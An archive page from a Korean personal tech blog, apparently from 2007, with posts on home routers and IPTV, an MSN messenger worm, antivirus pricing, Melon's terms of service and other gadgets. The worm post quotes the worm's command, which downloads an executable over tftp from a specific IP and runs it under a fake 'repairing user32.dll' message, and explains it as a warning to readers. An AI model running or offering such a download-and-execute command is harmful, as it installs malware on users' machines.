달력

42024  이전 다음

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
사실..
저는 집에 유/무선 공유기가 3대나 있습니다.
남들한테 말하기도 껄끄럽지요...;; (무슨 사업을 하는 것도 아니고, 그렇다고 사무실도 아닌것이..)

각각을 보면..
1대 공유기 : 버팔로의 WBR2-G54
(원랜 WBR-G54모델이였는데 서비스 받으러 갔더니 해당모델 단종이라면서 상위 모델로 바꿔주더군요;;)
2대 공유기 : 링크시스 WRT54G
(운 좋게도.. 용산의 한 업체에서 이벤트를 할때 응모를 했는데 당첨됐습니다.. 그 성능 좋다는 v4 버전 모델이 왔더군요  ㅎㅎㅎ)
3대 공유기 : anygate RG-3500v2
(엄청!!! 제게 스트레스를 안겨준 녀석입니다. 제일 늦게 샀는데 서비스는 제일 많이 받았습니다..;; 지겨워죽겠습니다.. 환불받을 수 있었음 환불 받았음 좋겠습니다..)

어찌됐든간에..
버팔로 공유기는 군 복무를 할때 였던가.. 여튼 집에 랜선이 돌아다니는게 싫어서 무리해서 공유기와 무선랜카드를 무려 24만원인가 주고 구입했던 것입니다.. 이후 링크시스는 운이 좋아서 추가된 녀석이죠..

두 녀석을 WDS 기능을 활용해서 잘 사용하던 중에..
집에 갑자기 메가패스 TV를 설치하고 싶어졌습니다..

그래서 메가패스 TV에 필요한 장비를 물색하게 되었고..
이 역시 제 방에서 거실까지 랜선을 뽑기가 싫다는 이유로!!

제 방과 거실에 설치한 2개의 유무선 공유기를 WDS로 연결하고 거실측 공유기에 메가패스 TV장비를 물려서 서비스를 이용하려했었죠..

그.런.데
ㅡ.,ㅡ;;;;; 중대한 난관에 봉착하였습니다.
메가패스TV는 고정 IP가 필요하다는 것이였습니다..
(물론 메가패스를 함께 사용할 경우 2개의 IP를 KT에서 제공한다는 한다더군요..
1개는 유동, 1개는 고정..)


공유기에서 DMZ기능을 활용하면 될 줄 알았는데.. 알고봤더니 -_- 그게 아니더군요..
공유기에서 고정IP를 해당 장비까지 보내주려면..
메가패스 라인의 분기점인 제 방에서 하나의 스위치를 놓고 그 아래에서 2개의 공유기가 돌아야된다더군요;;

즉..

메가패스 라인 -> 스위치 -> PC들을 위한 공유기
                            └->메가패스 TV를 위한 공유기

위와 같은 방식이라는 거죠..;;
어찌됐든 확실한 건.. 스위치든 공유기든 총 3대가 필요하다는 것..

아.. 쓰린 속을 움켜잡고 구입한 anygate의 공유기..
근데 저희집에 온날부터 말썽이더군요;;

속도가 안나오는 것이였습니다..;;

결국 서비스를 보내서 받은 새 제품... (박스에 테스트를 했다는 체크가 붙어있더군요;;;)
한동안 잘 썼습니다.. 하지만 저희 동네에 곧 들어오게 된다는 FTTH를 대비해서..
파워콤을 해지하려고 테클을 걸 준비를 하던 차에..;; 업로드 속도가 형편없다는 점을 확인하게 됐죠..

결국 또 서비스 보낼판국입니다..;; 그냥 환불해달라고 할까요? ;;;


인터넷 업체에도 전화해서 속도 안나온다고 테클을 넣으면
상담원은 친절하게 대답해주죠..
"고객님의 장비가 이상하거나 공유기에 문제가 있을 수 있습니다"

그럼 전 싸악~!! 웃어주면서 한마디 날립니다.
"집에 서로다른 회사의 공유기가 3대가 있고, 컴퓨터가 3대가 있습니다.
서로 바꿔가면서 테스트했는데 동일한 증상인데 이래도 제 장비들의 문제인가요?"

ㅋㅋㅋㅋ
이후 상담원의 버벅임이 종종 느껴집니다..
사실 저처럼 해놓고 사는 사람이 몇이나 있겠습니까..;;;
(혼자 쓰는 컴텨가 에지간한 사무실PC보다 화려한 사양이니..;;)

참 재미있는 세상입니다.. ㅎㅎ

'UsefulCube > CompuStory' 카테고리의 다른 글

이것도 바이러스인가? ;;;;  (4) 2007.04.06
드디어 우리집에도 FTTH!!!  (12) 2007.04.01
[경보] 새로운 바이러스 등장!!  (7) 2007.03.27
정품 소프트웨어의 가치..  (12) 2007.03.26
우연히 살펴본 멜론 약관  (18) 2007.03.26
Posted by 컴ⓣing
|

회사에서 일하고 있는데 MSN메신저에 등록된 초등학교 친구로부터
파일이 하나 전송되었다..

평소에 대화를 잘 하지 않는 친구였는데..
갑자기 파일을 보내다니.. 이상하다 생각은 했지만.. 수락해서 받았고,
파일이름은 photo album.zip 이였다.

파일을 클릭해서 여니 photo album2007.pif 이라는 파일이 들어있었고,
다행이 압축을 특정 경로에 풀어서 실행한게 아니라 알집에서 더블클릭해서 오픈한 것이기에..
TMP 디렉토리에 풀리게 되었었다.

즉시 하우리 백신 프로그램에서 바이러스라는 경보를 띄우면서 차단했고
다행히 바이러스로 부터 탈출을 했다.


이상해서 친구에게 대화를 걸었더니 어제 바이러스에 감염되었다고 말하면서 다 잡은줄 알았는데 잘 모르겠다는
말도 이어졌다.

일단은 백신 프로그램을 받고 설치한 후에 인터넷 선을 제거하고 바이러스부터 잡으라는 말을 했다.

도스시절에야 F5키를 눌러서 부팅하고 V3로 모든 파일을 점검하면 끝이였으나 지금은 백신프로그램도
프로그램이기에 설치를 해야되서 초보자인 친구들에게 어떻게 하라..라는 설명을 하기도 무척이나 애매하다.



몇 시간뒤..
다시 메신저 창이 열리면서
hey man accept my new photo album.. :( ...
라는 내용이 떴다..그제서야 눈치챘고 확인해보니 바이러스가 확실했다.

네이버에 관련 뉴스가 떠서 링크를 해본다.

메신저로 급속 확산 ‘웜’ 주의보…메신저 전송 사진 열지 마세요


이후 뉴스에 나와있는 rdshost.dll 파일이 시스템에 존재하지 않을까 라는 우려로
파일찾기를 통해 검색하던 중.. 시스템이 심하게 버벅거리는 현상이 발생..
Windows 작업관리자를 호출, explorer.exe 프로세서를 죽이고 다시 실행하려고 들어갔는데..

실행창에 알수없는 명령이 남겨져있었다.

%comspec% /c echo Repairing user32.dll & echo Please wait... & tftp -i 38.98.159.34 GET otdxxgcf.exe & start otdxxgcf&

대충 내용을 보니..
1. command prompt를 띄우고
2. user32.dll 파일을 고친다는 메시지를 띄우면서
3. 38.98.159.34 주소를 가진 호스트로 접속해서
4. otdxxgcf.exe파일을 받아서 실행해라.

이상하단 생각에..
일단 IP를 조회했다.

OrgName:    Performance Systems International Inc.
OrgID:      PSI
Address:    1015 31st St NW
City:       Washington
StateProv:  DC
PostalCode: 20007
Country:    US


미국 워싱턴에 있는 PSI 의 IP였다. 소득없이 허탕..
게다가 현재에 ping을 쏴봐도 응답이 없었다. 개인PC로 생각될뿐..

실행파일명을 구글에서 조회해도 아무런 결과는 없고..
(보나마나 뻔하다.. 임의로 생각되는 파일임이 분명..)


혹시 MSN메신저로 그러한 파일을 요청을 받은 적이 있는가?
그렇다면 시작버튼을 누르고 실행에서 명령 기록을 한번 확인해보십시오.

사용자 삽입 이미지


자.. 여러분의 PC는 안전하십니까??

Posted by 컴ⓣing
|
작년 7월경..
안철수 연구소에서 대대적인 기능 업그레이드를 알리며 런칭된
V3 Internet Security 2007.. (이하 V3 2007)

사용자 삽입 이미지

가격이 50%할인된 33,000원이였기에 1년동안 한달에 3,000원정도만 아끼면 나에게 필요한 소프트웨어를 정품으로써 등록하고 등록고객으로써의 특혜를 누릴 수 있겠다 싶어 직접 안철수 연구소의 온라인 샵에서 구입을 했다.
(물론 이후 더 싼곳에서 파는 것을 보고 경악했었지만...)


어찌됐든 메일을 보고서 곰곰히 생각해봤더니
만료까지 이제 4개월쯤 남았기에 슬슬 재계약을 생각해야될 때가 된 듯 싶다.
재 계약을 하는 횟수만큼 가격이 계속 인하되고 6년차가 되면 상당히 저렴한 가격(19,800원)으로 재계약을 할 수 있기에 그 장점을 잘 이용하려 한다.


그러다가 문득 생각이 들었다.
현재 본인이 쓰는 컴퓨터만 3대.

집에서 쓰는 PC 1대, 노트북 1대, 사무실 PC 1대..
정말로 정품을 사용할 줄밖에 모르는 사용자라면, 무려 정품을 3개를 사야한다.

할인을 해서 아무리 가격을 낮췄다해도.. 그 대수가 늘어나면 늘어날수록..
다시금 생각하게 한다.

사실 둘러보면 33,000원이라는 돈을 가지고 무엇을 할 수 있는가?
가격이 인하된 메모리를 사도 512MB를 살 수 있고, USB 플래쉬 메모리를 사도 4GB제품을 살 수 있다.
하지만 무형의 가치이자, 한시적인 1년짜리 업데이트를 위해서 33,000원을 투자하고,
내가 가진 PC의 댓수만큼 그 가치를 치르라면..

즉, 내가 가진 3대의 PC만큼 V3를 구입한다라치면..
첫해에 할인을 해도 99,000원이라는 비용이 소요되고, 1년이 지나서 2년차 재계약을 해도..
건당 31,900원씩.. 무려 95,700원이라는 비용을 감수해야 한다.

이 돈이면 무엇을 할 수 있으리라 생각되는가?


정품 소프트웨어의 가격에 대한 이야기는 예전부터 말이 많았던 것이 사실이고
한때 우리나라 대표 워드프로세서인 한글과 컴퓨터의 부도 위기가 닥쳤을때
단돈 10,000원이라는 소프트웨어 가격은 많은 사람들로 하여금 정품 사용을 할 수 있도록 했었다.

그렇다고 해서 본인은 소프트웨어의 초기 가격 자체를 할인하자는 이야기가 아니다.

초고속 인터넷을 보면 IP를 추가 신청할 경우 신규 신청하는 것보다 절반도 안되는 가격에 IP를 제공하고 있다.
즉 이와 같이 가구당으로 계산해서 한 가구에 동일한 소프트웨어에 라이센스만 추가하는 요금을 추가 산정하여 부담을 줄여준다면 정품 사용자의 수가 늘어나지 않을까라는 생각을 해보게 된다.

솔직히.. 윈도와 같이 -_- DSP 버전의 정품을 구입해도 고객지원 안해준다..배째라.. 식이거나
애시당초 고객지원이 물 건너간 소프트웨어라면 가격이 정말 시장의 떨이가격 아니라면 사지 않겠지만.

백신과 같이 주기적으로 업데이트를 하고, 바이러스에 대한 문의를 받아주는등의 고객지원이 있는 소프트웨어라면 충분히 구입할만한 가치가 있다고 판단된다.


이 글을 읽으시는 분들..
혹시 지금 정품을 몇개나 사용하고 계시는지 궁금하다..
그리고 가격만 맞다면 구입하고 싶은 소프트웨어는 몇개나 되는지 여쭤보고 싶다.
Posted by 컴ⓣing
|
3월 20일..
SKT에서 서비스하는 멜론 S/W에 대한 약관이 변경되었다면서 메일이 왔다.
그냥 그러려니..하고 냅뒀다가.. 휴대폰에 음악을 좀 넣을까 해서 프로그램을 받으려다가
한번 살펴봤다가..  정말 이건 아니다 라는 생각이 들어 포스팅을 한다.

사용자 삽입 이미지

본인이 생각하는 문제 항목은 총 2개 항이다.
먼저 1항의 내용..
이용자의 PC 데이터를 수집한다고 되어있는데, 엄연히 개인 PC이다. 이에 대해서는 수집하는 데이터의 종류를 사전에 공지해야된다는 것이 본인의 생각이다. 즉, 멜론 소프트웨어 구동과 관련한 데이터를 수집하고, 이에 포함되는 데이터는 무엇무엇이 있다. 라고 해야된다는 것이 본인의 주장

다음 3항의 내용
네트워크 장비를 임의로 사용한다는 것. 사실 사용자의 입장에서도 네트워크 장비를 어떻게 할 수 있는 것은 없다 단지 트래픽을 좀 더 사용하겠다라고 명확히 구분해야 할 것이다. 두루뭉실한 약관은 소비자에게 피해를 줄 여지가 다분하다.

또한 스토리지를 임의로 사용한다는 것은 해석하기 나름이겠지만, 사용자의 PC내의 데이터를 마음대로 사용하겠다는 이야기가 될 수도 있다. 개인의 데이터를 임의로 사용한다라고 해석될 수도 있다. 특정 소프트웨어가 자신의 데이터를 임의로 사용한다면 기분이 좋을 사용자는 하나도 없다. 이 역시 어느어느 데이터를 사용하겠다라고 명시를 해야될 것이라 생각한다.

마지막에 있는 이용자가 의도하지 않아도 PC에서 자동으로 가동될 수 있다. 이것은 엄연히 문제가 있는 항목이다. 삭제되어야 된다고 생각한다. 소프트웨어의 약관은 해당 소프트웨어가 실행될때 적용받는 것이다. 하지만 사용자가 원치 않는데 실행된다는 것은 사용자의 소프트웨어 선택권을 저해하는 행동이라는 것을 잊어서는 안된다.


클럽박스와 같은 소프트웨어는 사용자의 네트워크 자원을 빌려쓰는 대가로 특정 포인트를 지급하고 있으며, 사용자가 원치 않을 경우 프로그램 종료를 통해서 혜택도 포기할 수 있다. 즉, 사용자가 필요로 할때에만 해당 소프트웨어를 사용하고, 특혜를 받는다는 말이며, 이 소프트웨어를 사용함에 있어 본인에게 불필요하다면 특혜를 포기하고 소프트웨어를 사용하지 않을 수 있다는 것이다.

하지만 멜론의 경우 SKT사용자라면 멜론 웹 사이트를 통하지 않고서 mp3를 구입할 수 없으며, 개인 소유의 mp3를 넣는다해도 멜론 소프트웨어를 사용해야 하는 독점 소프트웨어이다. 독점적 지위를 이용하여 이 소프트웨어를 사용해야만 하는 상황에서 이 소프트웨어를 사용하면 이렇게 사용자의 자원을 사용하겠다.라고 약관에 넣는다는 것은 분명 올바른 행동은 아니라는 생각이 든다.

기업이 사용자에게 제공하는 것이 있으면 그 대가로 사용자도 무엇인가를 제공하게 된다.
그것은 서비스에 대한 대가일 수도 있고 사용자가 보유한 리소스의 일부를 공유할 수도 있을 것이다.
하지만 지금 멜론의 처사는 공평하게 주고 받는 것이 아니라 기업의 입장에서 더 유리한 약관을 작성한 것 같다.

반드시 고쳐져야 될 기업과 사용자간의 약속이 아닐까?

'UsefulCube > CompuStory' 카테고리의 다른 글

[경보] 새로운 바이러스 등장!!  (7) 2007.03.27
정품 소프트웨어의 가치..  (12) 2007.03.26
Microsoft Virual Earth... Google Earth와 경쟁 가능할까?  (6) 2007.03.08
MSN ID 변경..  (3) 2007.03.07
메일용량..;;  (4) 2007.03.02
Posted by 컴ⓣing
|

예전에 만들었던
Microsoft의 Office Live 계정에 오랫만에 들어가서 이것저것 하다가..
Local 이라는 서비스를 발견했습니다.

http://local.live.com

IP 주소를 보는 것인지 몰라도 첫 지도의 데이터는 한국이였습니다.
 


그러다가 Google Earth와 비슷한 것 같은 서비스같단 느낌이 들더군요 -_-
2가지의 프로그램을 설치해야 된다길래 클릭클릭으로 따라가서 설치하고
봤는데 놀랄 수 밖에 업었습니다.

머 2D야 늘상 보던 것이지만..
3D로 전환해서 보니까 이건 완전 Google Earh와 흡사하더군요..
(사실 Google Earth는 설치는 했어도 제대로 사용해본 적은 없습니다..;)

사용자 삽입 이미지

사용자 삽입 이미지


아쉬운건..

Google Earth는 집 근처에 있는 지하철 기지에 들어가는 지하철도 볼 수 있었는데..
Microsoft Virtual Earth는 거기까지는 안되는 것 같더군요..;;
하지만 각도 돌려서 볼 수 있었다는 것은 다소 신기했습니다..
(오락하는 듯한.. ㅋㅋ)



다소 아쉬운게 하나 있었습니다.
미국쪽에선 동해가 일본해보다 우선순위에서 밀리는 것 같더군요.
일본해의 참조용어로 동해가 쓰이는 듯한 느낌이..

사용자 삽입 이미지

'UsefulCube > CompuStory' 카테고리의 다른 글

정품 소프트웨어의 가치..  (12) 2007.03.26
우연히 살펴본 멜론 약관  (18) 2007.03.26
MSN ID 변경..  (3) 2007.03.07
메일용량..;;  (4) 2007.03.02
HP 복합기는 자해할 줄 안다?  (4) 2007.02.26
Posted by 컴ⓣing
|
먼저 이 내용은 Microsoft에서 관리하는 도메인은 적용되지 않는 듯 합니다..
이점 참고하시기 바랍니다.


저는 01년에 msn에 지금은 사라진 channeli.net 이라는 도메인으로 msn  id를 생성하였습니다.
하지만 그로부터 몇년 후 channeli.net 이라는 도메인은 사라졌죠..;;
(서비스가 사라진 이유로..;;)

이제는 유효하지 않은 이메일 주소이기에.. 고민을 많이 했었죠..
하지만 그동안 저 ID로 관리했던 많은 친구들에게 새로 ID를 바꿨으니 다시 등록해달란 소리를 하기가
좀 그렇더군요.. 그래서 새로운 ID를 생성하지 않고 사용하고 있었습니다.

그러던 중에 놀라운 소식을 하나 접했습니다.
바로 msn ID를 변경할 수 있다는 것이였습니다..;;

이 글을 쓰면서 틈틈히 보니까, ID를 바꿀 수 있는 방법으로 몇몇 사이트가 있더군요.
저는 live.com 을 기준으로 설명하겠습니다.
(이미 바꾼 뒤에 사진을 다시 접속해서 캡쳐했기때문에 이해가 어려우실지도 모르겠네요..;;)

사용자 삽입 이미지

사이트에 접속하여 로그인을 합니다.

                  
 
사용자 삽입 이미지

로그인 창입니다. 윈도 로그인과 상당히 유사합니다.

 

사용자 삽입 이미지

Windows Live 로고 쪽으로 마우스를 가져가면 레이어 메뉴가 뜹니다. 여기서 계정을 선택합니다.


사용자 삽입 이미지

본인 ID 옆에 보면 변경이라는 링크가 있습니다. 클릭합니다.

 

사용자 삽입 이미지

다음 화면에서 현재 비밀번호등을 입력하고 새로운 ID로 변경합니다.



변경 후에는 1시간 가량 MSN 메신저등을 정상적으로 사용할 수 없습니다.
하지만 이후에는 정상적으로 사용이 가능하며, 친구들에게 ID를 변경했다고 알릴 필요도 없으며,
친구들도 새로운 계정을 등록할 필요가 없습니다.

하지만, 대화명은 초기화 되므로
메신저에 로그인 하시면 제일 먼저 대화명부터 바꾸시기 바랍니다.
Posted by 컴ⓣing
|

메일용량에 대해선 솔직히 철 지난 이야기 같기도 하지만..-_-
언젠가부터 어느회사가 용량을 상상을 초월하게 기가급으로 설정하면서 유행아닌 유행(?)이 되어버렸다.

하지만 어느업체는 지나치게 용량을 적게주고, 어느업체는 지나치게 용량을 많이 주기에
본인이 생각하기에 적당한(!) 용량을 주는 곳은 없었다.

계정의 선택은 간단하다.
다른 사이트 가입시에 거절되지 않으면서, 오래되고 안정성있는 업체를 선택하면 되는 것.

컴퓨터를 하는 분이시라면, 포털에 대부분 ID를 가지고 계실것이고,
때로는 자주 사용하지 않기때문에 휴먼으로 되어있을지언정.. 원하면 언제는지 활성화할 수 있기때문이다.

언젠가부터 쓰다보니 N 사의 포털만 2군데를 사용하게 되었는데..
이 곳이 한 곳은 지나치게 용량을 적게주고, 한곳이 그나마 용량에 현실성이 있었는데..

오늘 보니 -_- 이 한 곳마저도 1기가라는 용량으로 펑....!
솔직히 이곳은 용량이 모자라도 그냥 메일만 쓰면 주는 마일리지도
필요한 만큼 늘릴 수 있기때문에.. 용량에 대한 만족을 어느정도 하는 편이였는데 -_-

아흑..;;

사용자 삽입 이미지

아놔~!! 저 남아도는 마일리지 어따써~!! ;;


Posted by 컴ⓣing
|

머.. 제 복합기는 아닙니다만 -_-

오늘 차장님의 친구분이 쓰시던 복합기인데 고장났다고 해서 들고 오셨더군요 -_-
잠시 테스트해볼요량으로 전원을 연결했는데..
무식하게 잉크통이 부착된 트레이가 양쪽으로 휘날리며(?)
쿵쾅쿵쾅 소리가 나더군요 -_-;;

나중엔 겁나서 전원을 뽑았더라지요..
그랬다가 가까운 a/s 센터를 갔더니 하는 말..
잉크 리필해서 그렇다는 것입니다.

그래서 머 회로가 어쩌구 저쩌구..;; 말해주는데..
전 하나만 생각나더군요 -_-

HP 복합기는 리필잉크쓰면 자해하는군요  -_-;;;

무서운 녀석입니다.. 정품잉크쓰라고 홍보/계도를 해야될 터인데..;;
이건 무슨..;;


ps : 이 복합기가 2004년에 나온건데.. a/s센터에서 그러더군요.. 수리하는데 71500원이 든다고..;;
요즘 나오는 제일 싼 HP 복합기가 PSC3xxx 인걸로 봐서.. 한참 레벨 업 된거 같은데 가격은 12만원대..;;
그냥 새로 사는게 낫겠다고 물어보니 그 기사왈.. "네"
OTL;;;

'UsefulCube > CompuStory' 카테고리의 다른 글

MSN ID 변경..  (3) 2007.03.07
메일용량..;;  (4) 2007.03.02
코엑스에 있는 비스타 행사장..  (0) 2007.02.07
심히 좌절스러운 공유기의 성능..  (0) 2007.01.27
응용소프트웨어와 웹과 혼돈..  (0) 2007.01.26
Posted by 컴ⓣing
|
SKT와 MS가 무슨 제휴를 맺었는지..

비스타 출시 기념 무슨 이벤트를 하더군요.. 복주머니라는 서비스를 통해서 말이죠..
(요 서비스가 알짜배깁니다..-_- 이벤트 페이지까지 가면 일정금액을 적립해주는데
요걸로 요금 할인을 받을 수 있죠.. 물론 데이터 통화료 약간은 감수 하셔야 합니다만..)


어찌됐든 간에..
그렇게 해서 휴대폰 바탕화면에 제 휴대폰 번호가 포함된 쿠폰을 다운로드 할 수 있도록
해주더군요..

낼름 들고 갔더니.. 바코드 인식후..
영화예매권 1매 or 스타벅스 커피 2잔 교환권 중에 하나 고르라고 하더군요..

함께 커피 먹을 사람이 없는 관계로..영화예매권을 받았습니다..
(머 스타벅스 커피는 좋아하지도 않구요.. 커피가 너무 써요~!! -_-)

인터파크 교환권 주더군요.. 머.. 이미 예매해버렸습니다.. 공짜는 빨리 써야된다는 생활 신조상..

그리고 거기에 설치된 비스타를 쭈~~욱 둘러봤습니다..
머.. 이쁘긴 하더군요 -_-

잘못 해서 여차하면.. 지를지도 모르는 위험의 레벨까지 갔었지만..
집에와서 조금 생각해보니..
역시나 필요없다 -_- 업그레이드만 아니라면..

비스타가 애플의 MAC OS를 따라했다고 해도.. 
역시 티가 안난다.. 역시 환상이려나 싶기도 하고..

지금 코엑스에서 하는 행사의 웹 사이트가 있더군요
참고로 붙입니다..
https://www.vistaevent.co.kr/web_vista/main.asp

'UsefulCube > CompuStory' 카테고리의 다른 글

메일용량..;;  (4) 2007.03.02
HP 복합기는 자해할 줄 안다?  (4) 2007.02.26
심히 좌절스러운 공유기의 성능..  (0) 2007.01.27
응용소프트웨어와 웹과 혼돈..  (0) 2007.01.26
MS의 Office Live 서비스  (2) 2007.01.25
Posted by 컴ⓣing
|
이번에 집에 IPTV를 설치할까.. 해서
기존에 집에서 사용하던 네트워크 구성상태를 점검하다보니 부족하여
공유기를 한대 더 구입해야겠다..라고 마음을 굳혔습니다..



그렇게 구축하려는 이유는 간단히 2가지.

1. 공인IP를 IPTV set-top박스가 요구를 했고, 그러다보니 공인IP를 포워딩해줄 수 있는 하나의 장비가 필요했으며
2. 이 과정에서 방에서 거실로 랜케이블이 바닥에 깔리는 것을 원치 않아서.. 였죠..

그리하여~!!
구입한 대망의 A사 공유기가 도착했습니다.

일단 간단한 테스트를 위해
A사 공유기를 linksys공유기와 동일한 설정으로 맞췄습니다.

그리고 무선랜 PC와 유선랜 PC간의 iperf라는 소프트웨어를 통한 대역폭 측정 및 인터넷 품질 측정에
들어갔죠..



주말에 네트워크를 어떻게 꾸밀지, 다시 한 번 고민하면서 나름대로 즐거운(?) 시간을 보내려했는데..
다 글렀습니다..-_-

주말내내 저 공유기를 어떻게 환불받아야될지 고민해야겠습니다..

'UsefulCube > CompuStory' 카테고리의 다른 글

HP 복합기는 자해할 줄 안다?  (4) 2007.02.26
코엑스에 있는 비스타 행사장..  (0) 2007.02.07
응용소프트웨어와 웹과 혼돈..  (0) 2007.01.26
MS의 Office Live 서비스  (2) 2007.01.25
스피커 교체..  (2) 2007.01.23
Posted by 컴ⓣing
|